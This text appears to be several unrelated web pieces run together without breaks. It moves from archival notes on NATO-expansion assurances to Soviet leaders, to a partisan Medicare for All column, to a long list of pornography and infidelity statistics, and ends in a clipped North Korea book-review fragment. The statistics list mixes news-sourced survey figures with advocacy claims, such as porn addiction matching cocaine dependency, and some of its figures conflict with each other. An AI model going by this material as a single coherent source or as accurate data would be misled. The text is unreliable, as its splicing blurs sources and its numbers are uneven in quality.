“British Ambassador Rodric Braithwaite was present for a number of the assurances given to Soviet leaders in 1990 and 1991 about NATO expansion. Here, Braithwaite in his diary describes a meeting between British Prime Minister John Major and Soviet military officials, led by Minister of Defense Marshal Dmitry Yazov. The meeting took place during Major’s visit to Moscow and right after his one-on-one with President Gorbachev. During the meeting with Major, Gorbachev had raised his concerns about the new NATO dynamics: ‘Against the background of favorable processes in Europe, I suddenly start receiving information that certain circles intend to go on further strengthening NATO as the main security instrument in Europe. Previously they talked about changing the nature of NATO, about transformation of the existing military-political blocs into pan-European structures and security mechanisms. And now suddenly again [they are talking about] a special peace-keeping role of NATO. They are talking again about NATO as the cornerstone. This does not sound complementary to the common European home that we have started to build.’ Major responded: ‘I believe that your thoughts about the role of NATO in the current situation are the result of misunderstanding. We are not talking about strengthening of NATO.’”
Document 29
Paul Wolfowitz Memoranda of Conversation with Vaclav Havel and Lubos Dobrovsky in Prague.
1991-04-27
Source: U.S. Department of Defense, FOIA release 2016
“These memcons from April 1991 provide the bookends for the ‘education of Vaclav Havel’ on NATO (see Documents 12-1 and 12-2 above). U.S. Undersecretary of Defense for Policy Paul Wolfowitz included these memcons in his report to the NSC and the State Department about his attendance at a conference in Prague on ‘The Future of European Security,’ on April 24-27, 1991. During the conference Wolfowitz had separate meetings with Havel and Minister of Defense Dobrovsky. In the conversation with Havel, Wolfowitz thanks him for his statements about the importance of NATO and US troops in Europe. … In conversation with Dobrovsky, Wolfowitz remarks that ‘the very existence of NATO was in doubt a year ago.’“
Document 30
Memorandum to Boris Yeltsin from Russian Supreme Soviet delegation to NATO HQs
1991-07-01
Source: State Archive of the Russian Federation (GARF), Fond 10026, Opis 1
“This document is important for describing the clear message in 1991 from the highest levels of NATO – Secretary General Manfred Woerner – that NATO expansion was not happening. The audience was a Russian Supreme Soviet delegation, which in this memo was reporting back to Boris Yeltsin (who in June had been elected president of the Russian republic, largest in the Soviet Union), but no doubt Gorbachev and his aides were hearing the same assurance at that time. The emerging Russian security establishment was already worried about the possibility of NATO expansion, so in June 1991 this delegation visited Brussels to meet NATO’s leadership, hear their views about the future of NATO, and share Russian concerns.
Woerner had given a well-regarded speech in Brussels in May 1990 in which he argued: ‘The principal task of the next decade will be to build a new European security structure, to include the Soviet Union and the Warsaw Pact nations. The Soviet Union will have an important role to play in the construction of such a system. If you consider the current predicament of the Soviet Union, which has practically no allies left, then you can understand its justified wish not to be forced out of Europe.’ Now in mid-1991, Woerner responds to the Russians by stating that he personally and the NATO Council are both against expansion — ’13 out of 16 NATO members share this point of view’ — and that he will speak against Poland’s and Romania’s membership in NATO to those countries’ leaders as he has already done with leaders of Hungary and Czechoslovakia.”The Democratic Party’s leadership is clearly beholden to the political center and the interests of their wealthy donors—as is evident from their lack of support for the Medicare for All bill. Democrats in the House and Senate are increasingly coming out in support of the Medicare for All bill, which Bernie Sanders is set to introduce on Wednesday afternoon. But instead of riding this wave of progressive support and the popularity of Medicare for All to draw a significant contrast against Trump and the Republican party, Democratic Party leaders are obstructing its momentum.
House Minority Leader Nancy Pelosi, D-Calif., recently reiterated she will not support Medicare for All, claiming she is opting to preserve the Affordable Care Act. She has made similar comments in the past, including a hypocritical claim earlier this year in which she said, “The comfort level with a broader base of the American people is not there yet. It doesn’t mean it couldn’t be. States are a good place to start.” Pelosi hasn’t supported single-payer healthcare in her home state of California either, nor has she ever co-sponsored a Medicare for All bill in the years since Congressman John Conyers, D-Mich., began introducing it in 2003. The comfort level with the American People is there, the discomfort lies with Democrats so beholden to their donors on this issue that they won’t even bring themselves to co-sponsor legislation. They are laboring under the false pretense that doing so will expose flaws in the Affordable Care Act. Meanwhile polls and surveys increasingly show most Americans support Medicare for All, and that support has surged in the past year.
The best way to preserve the Affordable Care Act, until an improved system replaces it, is to support Medicare for All to provide healthcare as a right to all Americans. Pelosi is not alone in her rejection of Medicare for All. Senate Minority Leader Charles Schumer, D-N.Y., House Democratic Party Whip Steny Hoyer, D-Md., DNC Chair Tom Perez and Democratic Congressional Campaign Committee Chair, Congressman Ben Ray Lujan, D-N.M., are also holdouts against the bill. Only Democratic Caucus Chair Joe Crowley, D-N.Y., and Assistant Democratic Leader James Clyburn, D-S.C., have signed on as co-sponsors to to the bill, while the top leader of the Democratic Party continue to treat the policy as a nuisance.
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Mobile and online technology has fueled the explosion in porn
The online porn sector is estimated to be worth £11.5billion globally.
The average age that a child first sees porn is only 11, according to the NSPCC
The Sun, October 24, 2018
Porn is bad for business – Snapchat
Snapchat decided to pull “Cosmo After Dark”.
Protect Young Eyes Founder – in talking to 240 eighth graders, roughly 80% use
napchat regularly.
in 2010 – 47% of familes in the US said their home had a problem with pornography, according to the National Coalition for the Protection of Children & Families.
At the most risk are boys 12-17 years old – according to Dr. Marysia Weber
Fox News Opinion, June 3, 2018
The future of VR will be shaped by porn
VRporn is the # 1 search found in a study by VRPorn.com beating Oculus.com with sells top equipment technology with VR.
VR sites 60% are porn vs non-porn.
30% of the top 50 VR sites are adult.
Total VR porn site traffic is up 50%
Top 10 countries for VR Porn, 1# USA, #2 Germany, #3 UK, #4 Indonesia, #5 India, #6 Canada, #7 Japan, #8 France, #9 Australia, #10 China
Big Think, March 16, 2018
Bullying, porn and gaming addiction: Survey of teen internet habits.
20,000 Students over the last five years, what’s something you do on the internet at home that you know you’re not allowed to do?
51 % of the children, mostly boys viewed porn
1/5 admitted to bullying, trolling and staking for fun.
40% of kids admit to doing too much social media.
30% say they are doing too much gaming.
ABC.net.au, April 29, 2018
Pinke: Article: Tools to protect and teach kids about the dangers of pornography: Gives amazing stats.
79% of pornography exposure happens at home, according to a University of New Hampshire study
Seventy-nine percent of pornography exposure happens at home, according to a University of New Hampshire study.
One in 5 youth received a sexual approach or solicitation over the internet in the past year based on interviews with 1,501 youth ages 10 to 17 conducted by Crimes Against Children Research Center with funding from the National Center of Missing and Exploited Children.
One in 4 youth had an unwanted exposure in the past year to pictures of naked people or people having sex.
About 25 percent of the youth who encountered a sexual approach or solicitation told a parent. Almost 40 percent of those reporting an unwanted exposure to sexual material told a parent.
In households with home internet access, one-third of parents said they had filtering or blocking software on their computers.
Inforum, May 13, 2018
Research says: To Strengthen your marriage stop watching porn.
American Sociological Association found that married men who began viewing pornography were twice as likely to get divorced.
Previous studies have discovered “viewing pornography lead to poorer relationships”.
Aleteia, April 12, 2018
How Porn is affecting kids:
“Eleven is the average age a child is first exposed to porn”
“94% of kids will see porn by age 14.”
“Type the word sex into a search engine, and get a screen of hardcore porn in less than five seconds”
“The younger boys get to porn, the less capacity they have for empathy for girls and women, the more likely they are to become sexual offenders, the less capacity they have to actually put the building blocks of adult life into place,”
Chicago Tribune, April 3, 2018
When Is Porn Use a Problem
Studies have also shown that pornography use may mis-wire reward circuits, causing sexual dysfunction, and re-enforcing dependence on porn (Park et al., 2016).
According to researchers, 17 percent of pornography users are compulsive (Cooper, Delmonico & Berg, 2000), leading to distress and dysfunction. In other work (Grubbs et al., 2015; Blais-Lecours et al., 2016), feeling out of control is only partly due to higher frequency of use, with correlations between the two ranging from weak to strong.
Daspe and colleagues (2018) recruited people in relationships to complete an online survey about pornography use. They surveyed 1036 people, about 50 percent women, mainly between the ages of 18 and 35. Most had been in a relationship over a year, 30 percent were going out but did not live together, 54 percent lived together, and 15.6 percent were married. A third had children, and the majority were male-female couples.
they found that 73 percent of women and 98 percent of men reported internet porn use in the last 6 months
For porn use within the last week, the numbers were lower, 80 percent of men and 26 percent of women
Psychology Today, February 19, 2018
How safe is your child online?
A 2016 Dhaka-based survey: reveals that 77 percent of 500 boys from grade eight to 12 surveyed, watch porn through their mobile phones, laptops, tablets, websites, and/or CDs.
They also reveal that in most cases, the characters shown in those pornographic videos are below 18 years of age.
“Adolescents might learn about their sexuality around the age of 10-12
Adolescents are also more likely to engage in unsafe ‘sexting’ (sending sexually explicit photographs or messages via mobile phones), putting themselves at risk of cyber-bullying
The Daily Star, February 16, 2018
Problems with porn -Overindulging can have side effects
A 2011 survey by Italian researchers at the Italian Society of Andrology and Sexual Medicine surveyed 28,000 men who categorized themselves as being addicted to porn. The results showed that many men, some as young as 14, suffered from “sexual anorexia.”
Most college students are no strangers to porn. In fact, college-aged males and females make up the second-largest demographic of porn viewers, according to a 2015 infographic released by the adult entertainment juggernaut PornHub.
Thirty-one percent of viewers are between the ages of 18 and 24, the infographic showed. Additionally, a 2015 survey from Covenant Eyes showed on average, nine out of 10 boys and six out of 10 girls viewed porn before the age of 18.
For The Spectrum’s 2018 sex survey, 222 out of 346 students said they watch porn. Students that do watch porn watch at different rates weekly, most watching at least once a week and some watching twice a day.
“Before porn was widespread across the internet, it used to enhance people’s sex lives,” Anllo said. “But now, there are people with compulsive addictions as a result of watching it too much.” Anllo said she’s noticed that more and more young people are being influenced by porn and as a result, view themselves as inadequate compared to the actors on their phone and computer screens. People are going as far as getting cosmetic surgery to enhance their genitals to mimic professionals’ body parts.
Another issue floating around the world of porn lies within the ethics of the trade. With a large portion of its viewers being under the age of 18, this raises the question: is porn a realistic platform for young adults to learn about sex?
The Spectrum, February 12, 2018
Sex and Love survey reveals differing experiences of student romance
Out of those who responded, 55.2 percent are in relationships
27.9 percent of those relationships have lasted over two years
32.8 percent of us have been asked to have sex via social media, and about a fifth of us having hooked up with someone met on Tinder or Grindr
50 million users, with 80 percent of those users being college-aged students.
34.8 percent of us having had a one-night stand before, and three percent of us having one-night stands frequently.
71 percent of students say they have come across porn without wanting to
The Rocket, February 8, 2018
56% of UK Adults Unwilling to Share Personal Details for Porn
A survey carried out by British broadband comparison site, BroadbandGenie has revealed that a massive 56% of UK adults would be unwilling to share personal information to access porn.
The survey of 2103 British adults showed that 62% of respondents weren’t even aware such regulation was looming which will come as a shock to many when it is introduced in April.
A further 48% wouldn’t be happy to share that information directly with an adult site with an additional 19% unsure.
VPN Compare.co.uk, Janaury 31, 2018
Third of firms catch their staff viewing porn at work:
A survey was done that included 600 IT bosses at various firms across the UK
Many said that they had found a ‘high percentage’ of workers accessing porn
Workers going on porn sites leave their firm ‘wide open to cyber security threats’
The Daily Mail, January 21, 2018
More to infidelity than simply sowing your oats
According to a new study, researchers have found seven reasons why people cheat. A team of American researchers surveyed 495 adults with an average age of 20 years.
More than 77 percent respondents confessed that they had “fallen out of love” with their primary partner. A relationship expert concluded that the cheating partner no longer feels that their partner loves them, rather than the other way around
More than 41 percent of participants justified their cheating with the cause that they did not feel highly committed to their primary partner.
Excuses like “I was drunk” and “It just happened” may be cliche but they did come out as legitimate reasoning for 70 percent adulterers.
More than half of participants, 57 percent specifically, cited “I wanted to enhance my popularity”, as a motivation. Experts concluded it to insecurity and low-self esteem.
More than 43 percent of adulterers said that they sometimes cheated as an act of pure rage. Either they wanted revenge on the primary partner or they just had a bad day.
More than a third of participants said they cheated because they wanted to have sex. Majority of these responders were males.
Meanwhile, most of the women adulterers cited ignorance or neglect in their primary relationship as the main reason for cheating.
The Siasat Daily, January 23, 2018
The Devil vs. God: 5 Areas of Your Life Satan Wants to Attack
According to a 2015 Gallup poll, about nine in 10 Americans say they believe in God (89%). However, the same poll shows that only about 61% believe Satan actually exists.
Similarly, the Pew Research Center’s 2014 Religious Landscape Study found that roughly seven-in-ten (72%) Americans say they believe in heaven — defined as a place “where people who have led good lives are eternally rewarded.
But at the same time, only 58% of U.S. adults believe in hell — defined as a place “where people who have led bad lives and die without being sorry are eternally punished.”
As Christians, it’s important to be aware of the devil’s strategies and schemes to be on guard against them. James 4:7 reads, “Submit yourselves, then, to God. Resist the devil, and he will flee from you.”
Satan Wants to Attack Your Spiritual Life
Satan Wants to Attack Your Marriage and Family
Satan Wants to Attack Your Private Life
Satan Wants to Attack our Mission Work
The Christian Post, January 12, 2018
Pornhub: Women watched more porn in 2017
Pornhub: Its 2017 report notes that there were 24.7 billion searches on site last year.
The number one search? That’d be “Porn for Women,” a term that saw 359 percent growth among female users between 2016 and 2017
xHamster’s year-end report and projection for 2018
Last year the site saw a 2.4 percent increase in women viewers across the globe
women represent 26 percent of xHamster’s total users
Mashable, January 9, 2018
Widespread porn addiction helped create monsters
Americans “dedicated well over four and a half billion hours to watching porn on one porn site in 2016
The porn industry “grosses more in a year than Hollywood. It also brings in more money than the NFL, NBA, and MLB combined
almost 80 percent of American males between the ages of 18 and 30 admit to watching porn regularly
70 percent of men between 31 and 49 admit to it and half of men from 50 to senior citizen age also confess to regular porn viewing
World Tribune, December 3, 2017
Changing Your Mind
Pornography and the brain
About a quarter of teenagers (26 percent) ages 13 to 17 view pornography at least once a week.
Seventy percent of Christian youth pastors have had at least one teen come to them for help in dealing with pornography in the past 12 months.
Twenty-one percent of youth pastors and 14 percent of pastors admit they currently struggle with pornography.
Sixty-four percent of self-identified Christian men and 15 percent of self-identified Christian women view pornography at least once a month (compared to 65 percent of non-Christian men and 30 percent of non-Christian women).
Twenty-eight percent of Christian men and 11 percent of Christian women say they were first exposed to pornography before the age of 12 (compared to 23 percent of non-Christian men and 24 percent of non-Christian women).
Thirty-three percent of clergy say they have visited a sexually explicit Web site. Of those who have visited sexually explicit websites, 53 percent say they have visited the sites a few times in the past year, and 18 percent said they visited explicit Web sites between “a couple times a month” and “more than once a week.” 1
AdventistReview, January 5, 2018
Over 18 Documentary on Porn: It’s time we start talking about pornography and its affects on our kids
Ninety per cent of boys and 60 per cent of girls have seen porn by the age of 18. 94 per cent of these have been exposed by the age of 14
Forty per cent of teens have created a sexual image or video of themselves and 25 per cent have sent it to someone else.
goderichsignalstar.com, November 23, 2017
Sex Addiction 101: Signs, Secrets, Symptoms, and Solutions
Statistics tell us that three to six percent of Americans suffer from compulsive sexual behavior.
The gender ratio of compulsive sexual behavior is roughly four-to-one male-to-female.
A Harvard study from 2010 tells us treatment has great value and also anywhere from 10-50% of participants will lapse back into old behavior.
Porn is the number one consumed item on the Internet.
A history of sexual trauma is often one thing a client brings in the front door along with their suitcase and hope for help.
Blog.doctoroz.com November 16, 2017
Does Watching Porn Increase the Likelihood of Divorce
In a new study titled “Till Porn Do Us Part?”—yes, that’s the real title—sociologists used survey data to measure the marital effects of watching porn.
“Beginning pornography use between survey waves nearly doubled one’s likelihood of being divorced by the next survey period, from 6 percent to 11 percent, and nearly tripled it for women, from 6 percent to 16 percent,” said Samuel Perry, sociology professor at University of Oklahoma and the study’s lead author.
Perry said. “But our findings suggest that religion has a protective effect on marriage, even in the face of pornography use. Because religious groups stigmatize divorce and prioritize marital stability, it is likely that married Americans who are more religious will experience a greater combination of community pressure and internalized moral pressure to stay married, regardless of pornography’s effect on their marital quality
“We took this to mean that pornography use—perhaps if it’s discovered by one’s spouse unexpectedly—could rock an otherwise happy marriage to the point of divorce, but it doesn’t seem to make an unhappy marriage any worse than it already is,” Perry explained.
Brides, November 13, 2017
Survey takes pulse of campus ministers, students with eye to betterment
A survey of more than 4,000 Catholic campus ministers and students at U.S. colleges, showed that both the ministers and the students generally like what’s happening in their campus ministry setting.
Of the 1,911 active campus ministers nationally identified, representing 816 campuses, 1,047 responded, a response rate of 57 percent. Survey results were released in October.
Pornography and mental health were the two areas where students said they were more likely to struggle a great deal. While a lower percentage of students mentioned porn, the overall percentage of those who said they struggled a great deal with it was 27 percent, highest of any issue. Male students struggle more with porn, while women struggle more in the broad categories of faith beliefs and self-orientation.
Catholic Transcript, November 10, 2017
Let’s talk about consent
According to the Guttmacher Institute, as of September 2017, less than 50 percent of states require schools to provide sex education.
A survey by the National Union of Students in 2015 shows that 60 percent of students used porn to find out more about sex, and 40 percent cited porn as helping their understanding about sex.
The survey also found that over two-thirds of students sitting in a health class were never taught about sexual consent.
Santa Fe New Mexican.com October 1, 2017
Porn blamed for rise in teen sex crimes
Online pornography is to blame for a record number of sex crimes by under-18s in Scotland
a total of 407 minors were reported for rape, attempted rape, sexual assault or other sex crimes. This number included 48 people under the age of 16.
Sharpe accused the porn industry of “covertly teaching” young people wrong ideas about sex.
The Christian Institute, September 6, 2017
Is romance really dead? More than ONE THIRD of married men in their 20s admit they watch porn several times a week
A survey of 1,162 married people between the ages of 20 and 29 conducted by Cosmopolitan also found that nearly two thirds send each other naked pictures
The study reveals that the majority of young married people – 55 per cent – admit to masturbating at least two or three times every month.
More than a third of men – 38 per cent – even admit to watching porn multiple times every week. Nine per cent admit to watching it on a daily basis.
Sixty per cent of young married people report that they were having sex at least two or three times per week before marriage. That number drops to 43 per cent after the tying the knot.
Daily Mail August 9, 2017
Men’s sexist attitudes ‘shaped by first exposure to pornography’
The age at which a male first sees pornography is associated with certain sexist attitudes later in life, according to a team of researchers from the University of Nebraska.
Of the 330 undergraduates surveyed, with a median age of 20, the average age they first saw pornography was 13.
Lead researcher Alyssa Bischmann and her team asked 46 questions measured how they conformed to one of two behavioral traits – seeking power over women or sexually promiscuous behavioral and living a playboy lifestyle.
They found those who saw porn young were most likely to agree with statements that asserted male dominance, such as “things tend to be better when men are in charge”.
Researcher Christina Richardson said this could be because those who were exposed to porn early often did not enjoy sex in real life.
“These men often have a lot of performance anxiety with women in real life. Sexual experiences don’t go as planned or the way they do in pornography,
BBC News, August 4, 2017
NELSON PRICE: Pornography is the root of too many problems
An overall analysis is unavailable, but among professing Christians, 50 percent of the men and 20 percent of women interviewed admitted to being addicted to pornography.
An estimated 40 million Americans visit an internet pornography site on a regular basis.
Eighty-eight percent of porn scenes contain physical aggressing.
The largest consumers of internet pornography are 12 to 17 year olds, males and females.
Studies reveal that addiction to porn is as powerful as the chemical dependency on cocaine.
Marietta Daily Journal, July 29, 2017
Internet has put a spotlight on sex addiction
An estimated 12 million Americans have sex addiction, which some experts believe affects the brain in ways similar to drug or alcohol addiction.
Each week in his Bellevue counseling office, Bill Lennon sees 13 groups of eight men, all seeking help for compulsive sexual behavior.
The Seattle Times, July 26, 2017
Porn Stats: Which Country Produces And Hosts The Most Porn?
Well, to keep things simple, it comes from the United States. Data reveals that some 60% of the world’s porn sites—about 428 MILLION individual pages, more than one per American—are hosted in the US.
second-place-that-you-don’t-actually-want is the Netherlands, with 27% (187 million pages), and the UK comes up in third, with 7% (52 million) of the world’s porn sites.
California, which hosts 66% of the country’s 428 million porn pages. The large majority of porn made in the US has historically come from California
Tied for second are New York and Texas, each with 8%, but every state in the country hosts at least 10,000 porn pages—Alaska, in last place, checks in with 10,363.
Fight The New Drug, July 11, 2017
New ‘revenge porn’ law could snag sexting teens
According to a 2015 survey by the non-profit organization DoSomething.org, nearly 40 percent of teenagers have posted or sent sexually suggestive messages; 24 percent of 14- to 17- year-olds and 33 percent of 18- to 24-year-olds have reported being involved in nude sexting; 11 percent of 13 to 16 year old girls have reported sending or receiving these types of messages.
Des Moines Register, July 10, 2017
Sex and love addiction on the rise due to online dating apps, says therapist
One rehab clinic operating in Hong Kong has recorded a 30 per cent increase in the number of people seeking help for sex addiction – and counselors believe hook-up apps, such as Tinder, are to blame.
Primary sex and love addiction clients account for one in four cases at The Cabin, which has an outpatient addiction counselling clinic in Hong Kong’s Central district. That marks a 30 per cent increase on the previous year.
Psychiatrists and Psychotherapists, such as Markham, see more people come through treatment services, they’ve realised there is a much more equal split between men and women.
In a study last year of dating app use in Hong Kong by the US National Centre for Biotechnology Information, 40 per cent of those surveyed who met a partner online had sex on the first date.
South China Morning Post, July 9, 2017
The Pornography Epidemic
Eight out of 10 men under the age of 30 view porn at least monthly.
Three out of 10 are daily viewers.
Women and older men are also viewing porn in record numbers
Record numbers of people do not believe porn is negative in any way.
Recent scientific studies show that porn affects your brain like a drug
Porn sabotages the intended link between sex and a real, human, life-long commitment of sacrificial love
Wadena Pioneer Journal, July 7, 2017
Baby Boomers revealed to be ‘Generation Cheat’ — twice as likely to seek sex outside marriage
IF you cheat, you’re likely to be over 55. A US study of sexual dalliance reveals Baby Boomers betray their partners in bed at almost twice the rate of others.
According to a research paper by the University of Utah, America’s New Generation Gap in Extramarital Sex, only 14 per cent of people aged under 55 say they’ve cheated.
News Corp Australia Network, July 6, 2017
Who’s Remaining Faithful in Marriage? New Report Has Surprising Results on Adultery
Dr. Nicholas Wolfinger, a sociologist at the University of Utah: Americans over 55 have reported rates of extramarital sex that were five to six percentage points higher than younger adults.
In 2016, 20 percent of the older Americans reported adultery, compared to 14 percent for those under 55.
People in their 70’s are not driving the trend–it’s those in their 50’s and 60’s. Most of these people have been married for between 20 and 30 years and for many, the extra marital sex precedes the end of their marriage.
CBNNews, July 5, 2017
More Than Revenge – Image-Based Sexual Abuse in Australia
The most frightening finding from the survey was just how prolific this problem is. 1 in 5 surveyed participants reported being a victim of image-based abuse.
The most commonly reported form? The non-consensual taking of a nude or sexual image.
More concerning still are how the numbers change for marginalised groups. The survey found the number of victims increased to 1 in 2 for people with disabilities
and those who identified as Aboriginal or Torres Strait Islander. Age and sexuality were also factors, with the numbers changing to 1 in 3 for people aged 16 – 19 and people in the LGBTIQ (lesbian, gay, bisexual, transgender, intersex and questioning) community.
“We found that victims of image-based sexual abuse experienced high levels of psychological distress, consistent with a diagnosis of moderate to severe depression or an anxiety disorder,” Nicola said.
Particle, July 3, 2017
Teens In Victoria Start Watching Porn Pretty Young
Most (84%) young men and 19% of young women in Victoria watch pornography on a daily or weekly basis, a new study has found.
Almost 70% of males surveyed had watched porn for the first time at age 13 or younger.
The survey of 941 people also found those who had watched porn more often, or started younger, were among the most likely to report having had mental health problems in the past six months.
Analysis showed that compared to heterosexual participants, those who were gay, lesbian, bisexual, questioning, queer or other (GLBQQ+) were three times more likely to watch pornography more frequently.
BuzzFeed News, July 7, 2017
Australian porn study reveals heavy use among teens
AUSTRALIA’s youth are awash with porn, with a new survey showing up to 90 per cent of Victorians aged between 15 and 29 admitting to accessing sexual content.
Study author Dr Megan Lim, Deputy Program Director of Behaviours and Health Risk for the Burnet Institute, says the ‘smartphone era’ has dramatically changed the impact and reach of pornography.
It found the heaviest users of pornography are likely to be younger males, have higher education, be non-heterosexual, engage in sex acts at a younger age — and to have reported recent mental health problems.
Herald Sun, June 29, 2017
Anti-pornography advocates want open conversation in sex education.
“What we’re seeing right now, the pornographers — they’ll openly admit it — they’re marketing to eight-year-olds,” Boberg said.
Boberg said pornographers hope to hook children early using child porn and video games. He said all someone has to do to access pornographic images is to simply visit a gaming website, and by the time these children are adults, they’re already addicted.
“This is an issue of — especially when it comes to the children — of creating new neural pathways in the brain that that child’s brain is not ready to handle,” Boberg said.
Universe.byu.edu June 29, 2017
Survey: 1 in 20 Social Media Users Have Shared Nonconsensual Porn
A new report finds so-called “revenge porn” is surprisingly common.
1 in 8 of all survey respondents say that they themselves have been the victim of nonconsensual pornography
5.2 percent admitted to having ever shared “a sexually-explicit image of someone without their consent.”
15.8 percent of women reported having been a victim, that is nearly twice the rate for men.
Vocativ, June 12,2017
Porn consumption in India rises by 75%
According to a report by video viewership tracker, Vidooly, viewing of porn soared 75 percent in the second half of last fiscal year.
A new report states that porn-viewing in the country has surged as mobile data rates and handset costs have fallen.
The drop in data rates enable customers to enjoy their mobile internet experience further by staying online longer and accessing more content.
BGR India, June 3, 2017
Pornhub Celebrates 10 Years Of Existence
Founded in 2007, Pornhub has grown to hold over five million videos viewed by over 75 million visitors a day.
Forbes, May 25, 2017
Free porn ruins men’s sex lives, but not women’s
Researchers found a close correlation between excessive pornography use and sexual dysfunction.
Roughly 20 percent of men reported using porn three to five times weekly.
Nearly 4 percent of men reported they preferred masturbating to pornography over having sexual intercourse with a partner.
Roughly 40 percent of women who participated claimed to use pornography at least occasionally.
More than half of study participants (55 percent of women and 62 percent of men) said they viewed porn on their smartphone.
Newsweek, May 17, 2017
FBI issues sobering statistics on child pornography in the U.S.:
Many of the crimes are carried out on the “dark web,” also know as Tor -a browser
which allows users to remain anonymous.
which allows users to remain anonymous. Department of Justice 2016 report shows one website on Tor hosted 1.3 million
images depicting children subjected to violent sexual abuse..
images depicting children subjected to violent sexual abuse.. The National Center for Missing & Exploited Children (NCMEC) estimates over
26 million sexual abuse images and videos were received by their analysts in 2015 alone.
Fox News Nashville, April 26, 2017
Survey reveals what kind of porn women enjoy watching
YouPorn revealed that one in four visitors on the site are women
34% women revealed that they watched porn with people they relate to in terms of age, weight and ethnicity
DECCAN CHRONICLE, April 14, 2017
Pornhub Survey: Females watch more porn videos on their mobile than men
80% of women access Pornhub from mobile devices, compared to 69% of men
The use of mobile phones and tablets to access porn has been growing for both genders over the past few years – it now constitutes 72% of traffic worldwide
Pornhub found that 71% of its female users visit the portal using a smartphone and are 34% less likely to use the desktop computer than men.
78% of millennials, aged 18-34, watch on their smartphone
PargalParrot March 10, 2017
Apparently, People in the Bible Belt Watch The Most Porn, Says New Study
The study, which was published in the Journal of Sex Research, analyzed porn searches in the United States from the last six years, in hopes of finding patterns in porn consumption relating to religiosity.
The results of the study showed that biggest porn-lovers in America are Evangelical Protestants who believe in God, attend church very often, and take the Bible literally.
Maxim, April 2, 2017
Kids as young as seven are watching porn.
Ireland now stands at fourth in the world for porn use per capita.
The reason for the jump could be due to increased accessibility from laptops, tablets and smartphones.
“We’ve had someone seeking help at the age of 25 who first started using porn at the age of 10.”
The Irish Sun, March 5, 2017
Almost half of Brits HAPPY to watch porn movies in public
43% of people said they thought it was fine for others to watch away.
Of those who said “yes” to whether it was ok to watch porn in public, 45% said they had actually gone and done it.
52% of respondents saying they knew it was wrong to watch porn in public, 24% of those people admitted doing it anyway.
38% of respondents had watched porn at work or in an office, 26% had watched in a public space like a park and 16% in a cafe or bar.
Daily Star, February 7, 2017
Survey reveals middle-aged Brits draw the line at watching porn or visiting prostitutes.
UK’s 40 to 70-year-olds found many enjoy adventurous sex but the majority skip X-rated websites and wouldn’t pay for sex
Forty-three per cent of men surveyed, and 88 per cent of women, said they never looked at porn on the internet.
Only 13 per cent of males said they used X-rated sites two or three times a week, and just seven per cent of men said porn was a daily habit for them.
The minority who use porn tend to do it alone. Only six per cent said they watched it with their partners.
Fewer than five per cent of men admitted they had cheated on their partner with a sex worker, and fewer than 10 per cent said they had paid for sex while they were single.
Daily Record, January 30, 2017
Everything you wanted to know about married men and porn
According to the report, more people have been looking for married men porn than ever before. Note that we aren’t talking about married men watching porn but rather the trend of people watching married men porn.
The term wife is searched more extensively than husband by 418 per cent more.
India News, January 12, 2017
Australia is the 8th biggest consumer of porn in the world, according to research.
Pornhub revealed what Australians searched for the most in 2016, with the term “lesbian” topping the rankings.
“Australian” was also a popular search term, as was “massage” and “cartoon”.
DailyMail.com, January 7, 2017
Brits are the word’s second biggest porn viewers
The stats also reveal somewhat bizarre results when it comes to fetishes across the globe.
When it came to each session of porn viewing, Brits stuck around longer than any other European country – averaging nine minutes and 40 seconds
The Sun, January 7, 2017
Porn ruins sex for teens and beyond
a study of the 50 best-selling pornographic videos shows that 88.2 % of scenes include physical aggression
48.7 per cent of scenes include verbal aggression
Almost 95 per cent of the aggression is directed at female performers
43 per cent of online porn users start between the ages of 11 and 13
The Sydney Morning Herald, December 7, 2016
The Priest Exposing Italy’s Child Porn Addicts
Child pornography has risen more than 500 percent in Italy
“Child pornography is a crime against humanity,” he says.
In Italy, the production and dissemination of child pornography has risen by 543 percent over the last five years
More than 80 percent of the victims of child pornography found in Italy include young girls.
Daily Beast, October 16, 2016
Porn Use in Church Continues to Escalate
68% of church going men viewed Porn on a regular basis.
“Of young adults 18-24 years old, 76 percent actively – and these are Christians – actively seek out porn.”
49% of young adults say that all or most of their friends view porn regularly.
33% of females aged 13-24 using porn regularly.
Only 9% of church goers and 7% of Pastors say that they have a program at their church to help those struggling with pornography.
CharismaNews, September 1, 2016
From a study of over 2,000 men over the age of 50 in the U.S.:
47% of men over the age of 60 viewed porn within the past 2 months.
29% of men in their seventies viewed porn within the past 2 months.
42% said porn was the only way they could achieve orgasm.
56% said they had tried to stop but couldn’t.
58% said they believed it was wrong.
The Gilmer Mirror, July 27, 2015
From a survey of students in India of 400 students:
70% of boys began watching porn at age 10.
93% of boys said that porn was addictive as drugs.
86% said that porn led to sexual activity.
Times of India, July 25, 2015
10% of U.K. 12 and 13 year olds fear they are addicted to porn. 12% of 12-13 year olds admitted to participating in a sexually explicit video. One girl told the story of how, when she was 12, her then 12 year old “boyfriend” sexually assaulted her.
BBC News, March 31, 2015
From a survey of more than 4400 men in South Africa:
67% view porn, and 27% masturbate several times a week (since masturbation usually accompanies porn use, the latter number could mean fewer men are willing to talk about self-sex than pornography.)
New24.com, South Africa, March 19, 2015
From a survey of 75,000 men: 64% said their “taste” in porn had become more extreme or deviant with use, and created waning interest in their life partner.
Christian Examiner, February 23, 2015
A recent survey showed four out of 10 married South Korean men have been unfaithful to their spouse.
Yonhap News, February 15, 2015
A survey of 2500 UK school and university students showed:
60% watch porn to get information about sex
75% said that sex ed at school was not practical and rated it fair, poor, or terrible.
75% said that porn creates unrealistic expectations.
50% said that issues they need to know are not available in class.
The Guardian, January 29, 2015
From a survey of UK Christians:
75% of Christian men view porn at least monthly.
41% of Christian men admit to being addicted to pornography.
30% of church leaders view porn regularly
10% of Christian men have paid for sex.
90% of Christians believe the church does not adequately support those struggling with porn
The Way, UK, January 20, 2015
From a survey of 1002 internet users in Ireland:
83% of men and 56% of women |
angmadang (grey market), one
ear trained to Kim Jong Eun and the other tuned to foreign news broadcasts
through jerry-rigged radios. In the new North Korea, even Workers’ Party
officials must wear at least two hats. North Korea Confidential evaluates the
causes and consequences of these two worlds colliding.
Elsewhere in the literature, there seems to
be a schism between soapy human interest pieces and stolid historical
overviews. By giving readers a bird’s eye view of everyday life, North Korea
Confidential strikes a balance between the two. As befitting of the authors’
roots in journalism, the writing style dispatches of linguistic flourishes in
favor of concise, imagistic prose. While Pearson and Tudor certainly aren’t
apologists for the regime, they refuse to limit their depictions to the typical
oppressor/oppressed archetypes that readers of the genre have become so
accustomed to. Even though the transgressions of the Kim Regime and Worker’s
Party remain unforgivable, we are presented with a context in which their
